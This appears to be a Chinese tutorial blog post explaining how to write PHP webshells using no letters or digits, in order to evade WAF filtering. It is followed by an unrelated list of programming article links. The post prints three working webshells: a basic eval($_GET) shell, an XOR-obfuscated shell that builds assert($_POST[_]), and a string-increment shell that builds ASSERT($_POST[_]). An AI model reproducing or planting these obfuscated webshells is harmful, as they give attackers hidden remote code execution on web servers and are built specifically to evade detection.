如何通过非数字与字符的方式实现PHP WebShell详解


Posted in Javascript onJuly 02, 2017

前言

本文主要给大家介绍的是关于通过非数字与字符实现PHP WebShell的相关资料,分享出来供大家参考学习,下面来一起看看详细的介绍:

一般来说,我们所写的webshell通常都会包含数字或字母。比如说下面这样:

<?php

if(!preg_match('/[a-z0-9]/is',$_GET['shell'])){

eval($_GET['shell']);

}

但如果你想要绕过WAF的话,你还得使用一些其他的技术来重写你的webshell。

思路

首先我们要明确思路,我的核心思想就是通过一系列字符变换最终利用非字母和非数字字符构建出webshell,然后使用PHP的动态函数(例如“assert”)来完成函数名的拼接,最后动态执行构建出来的代码。

所以,转换方法就是解决这一问题的重点了。但是在开始之前,我需要跟大家讨论以下php5和php7之间的区别。

php5的断言(assert)是通过函数实现的,我们可以使用$f='assert';$f(…);这种方法来动态执行任意代码。但是在php7中,断言已经不再是一个函数了,而是一种语言结构(类似eval),而且断言(assert)也无法再作为函数名来实现代码的动态执行了,所以对于php7来说,问题可能会变得更加复杂了。不过各位也不用太过担心,因为我们可以使用 file_put_contents函数来达到我们的目的。

为了方便起见,本文的实验环境使用的是php5,关于php7的利用方式就请各位自行去探索啦:D

方法一

这是一种最简单的方法了。在php中,我们可以通过异或运算(XOR)来得到一个或两个字符串。因此,如果我们想要得到一个a-z之间的英文字符,我们就可以通过两个非字母字符和字符数来生成所需要的字母字符。示例代码如下:

<?php$_=('%01'^'`').('%13'^'`').('%13'^'`').('%05'^'`').('%12'^'`').('%14'^'`'); //$_='assert';

$__='_'.('%0D'^']').('%2F'^'`').('%0E'^']').('%09'^']');// $__='_POST';

$___=$$__;

$_($___[_]); // assert($_POST[_]);

解析结果如下:

如何通过非数字与字符的方式实现PHP WebShell详解

方法二

在这种方法中,我们可以使用一些特殊的小技巧来实现我们的目标。首先,请大家参考php.net的这份文档:【传送门】

文档中写到:“在处理字符变量的算术运算时,PHP遵循的是Perl的规范,而并非C语言规范。比如说在PHP和Perl中,$a = ‘Z'; $a++;经过计算之后变量$a会变成 ‘AA',但是在C语言中, a = ‘Z'; a++;计算后会将a变为‘['(‘Z'的ASCII值为90,‘['的ASCII值为91)。请注意,字符变量可以进行自增运算但无法进行自减运算,而且只有ASCII字母和数字(a-z,A-Z,0-9)才支持这种运算,如果对其他字符变量进行这种运算将不会有任何作用,此时的原始字符串将保持不变。”

那么接下来,我们应该如何才能得到一个包含字符‘a'的变量呢?

字符串“Array”的首字母是一个大写的‘A',而第四个字母则是一个小写的‘a'。换句话说,我们可以通过这个字符串同时得到大写和小写的字母‘a'(A),这也就意味着我们可以通过这种方法得到a-z和A-Z中任意一个字母字符。

比如说在PHP中,如果你想拼接数组和字符串,那么你首先要将字符串(array)转换成一个字符串(这个字符串的值为Array):

如何通过非数字与字符的方式实现PHP WebShell详解

然后截取字符串的首字母,我们就得到了‘A'。

利用这项技术,我编写了如下所示的webshell(由于PHP函数是对大小写敏感的,所以我在结尾补上了ASSERT($_POST[_])):

<?php

$_=[];

$_=@"$_"; // $_='Array';

$_=$_['!'=='@']; // $_=$_[0];

$___=$_; // A

$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;

$___.=$__; // S

$___.=$__; // S

$__=$_;

$__++;$__++;$__++;$__++; // E

$___.=$__;

$__=$_;

$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;// R

$___.=$__;

$__=$_;

$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;// T

$___.=$__;

$____='_';

$__=$_;

$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;// P

$____.=$__;

$__=$_;

$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;// O

$____.=$__;

$__=$_;

$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;// S

$____.=$__;

$__=$_;

$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;// T

 $____.=$__;

$_=$$____;

$___($_[_]); // ASSERT($_POST[_]);

解析结果如下图所示:

如何通过非数字与字符的方式实现PHP WebShell详解

总结

很多网站现在都会对特殊字符进行过滤和检测,因此希望这项技术可以给各位Web渗透测试人员提供一些解决问题的思路。

好了,以上就是这篇文章的全部内容了,希望本文的内容对大家的学习或者工作能带来一定的帮助,如有疑问大家可以留言交流,谢谢大家对三水点靠木的支持。

Javascript 相关文章推荐
COM中获取JavaScript数组大小的代码
Nov 22 Javascript
jquery1.5.1中根据元素ID获取元素对象的代码
Apr 02 Javascript
JavaScript的漂亮的代码片段
Jun 05 Javascript
IE下window.onresize 多次调用与死循环bug处理方法介绍
Nov 12 Javascript
在myeclipse中如何加入jquery代码提示功能
Jun 03 Javascript
使用Function.apply()的参数数组化来提高 JavaScript程序性能的技巧
Dec 23 Javascript
浅析JavaScript中浏览器的兼容问题
Apr 19 Javascript
js中动态创建json,动态为json添加属性、属性值的实例
Dec 02 Javascript
JavaScript变量作用域_动力节点Java学院整理
Jun 27 Javascript
vue iview实现动态路由和权限验证功能
Apr 17 Javascript
在微信小程序中使用vant的方法
Jun 07 Javascript
antd配置config-overrides.js文件的操作
Oct 31 Javascript
关于使用axios的一些心得技巧分享
Jul 02 #Javascript
React服务端渲染(总结)
Jul 01 #Javascript
Express + Node.js实现登录拦截器的实例代码
Jul 01 #Javascript
详解node-ccap模块生成captcha验证码
Jul 01 #Javascript
vue元素实现动画过渡效果
Jul 01 #Javascript
JavaScript学习总结之正则的元字符和一些简单的应用
Jun 30 #Javascript
node.js + socket.io 实现点对点随机匹配聊天
Jun 30 #Javascript
You might like
在PHP3中实现SESSION的功能(一)
2006/10/09 PHP
PHP加密函数 Javascript/Js 解密函数
2013/09/23 PHP
JS 遮照层实现代码
2010/03/31 Javascript
使用jQuery.Validate进行客户端验证(初级篇) 不使用微软验证控件的理由
2010/06/28 Javascript
jquery validate poshytip 自定义样式
2012/11/26 Javascript
多次注册事件会导致一个事件被触发多次的解决方法
2013/08/12 Javascript
浅析JavaScript 调试方法和技巧
2015/10/22 Javascript
JavaScript 正则表达式中global模式的特性
2016/02/25 Javascript
jquery实现右侧栏菜单选择操作
2016/03/04 Javascript
javascript入门之string对象【新手必看】
2016/11/22 Javascript
微信小程序 欢迎界面开发的实例详解
2016/11/30 Javascript
脚本div实现拖放功能(两种)
2017/02/13 Javascript
jQuery插件HighCharts绘制2D圆环图效果示例【附demo源码下载】
2017/03/09 Javascript
ES6深入理解之“let”能替代”var“吗?
2017/06/28 Javascript
JS实现发送短信验证后按钮倒计时功能(防止刷新倒计时失效)
2017/07/07 Javascript
vue 项目如何引入微信sdk接口的方法
2017/12/18 Javascript
详解Vue之父子组件传值
2019/04/01 Javascript
js实现限定区域范围拖拉拽效果
2020/11/20 Javascript
[02:28]PWL开团时刻DAY3——Ink Ice与DeMonsTer之间的勾心斗角
2020/11/03 DOTA
python基础教程之基本数据类型和变量声明介绍
2014/08/29 Python
Python学习笔记之自定义函数用法详解
2019/06/08 Python
python批量修改图片尺寸,并保存指定路径的实现方法
2019/07/04 Python
Django框架基础模板标签与filter使用方法详解
2019/07/23 Python
django有外键关系的两张表如何相互查找
2020/02/10 Python
python 中的9个实用技巧,助你提高开发效率
2020/08/30 Python
Alba Moda德国网上商店:意大利时尚女装销售
2016/11/14 全球购物
沃达丰英国有限公司:Vodafone英国
2019/04/16 全球购物
小学毕业感言300字
2014/02/19 职场文书
大学生自我评价范文分享
2014/02/21 职场文书
毕业自我鉴定书
2014/03/24 职场文书
销售员态度差检讨书
2014/10/26 职场文书
继承权公证书范本
2015/01/23 职场文书
2015年消防工作总结
2015/04/24 职场文书
2015年计生工作总结范文
2015/04/24 职场文书
办公室规章制度范本
2015/08/04 职场文书
婚庆答谢词大全
2015/09/29 职场文书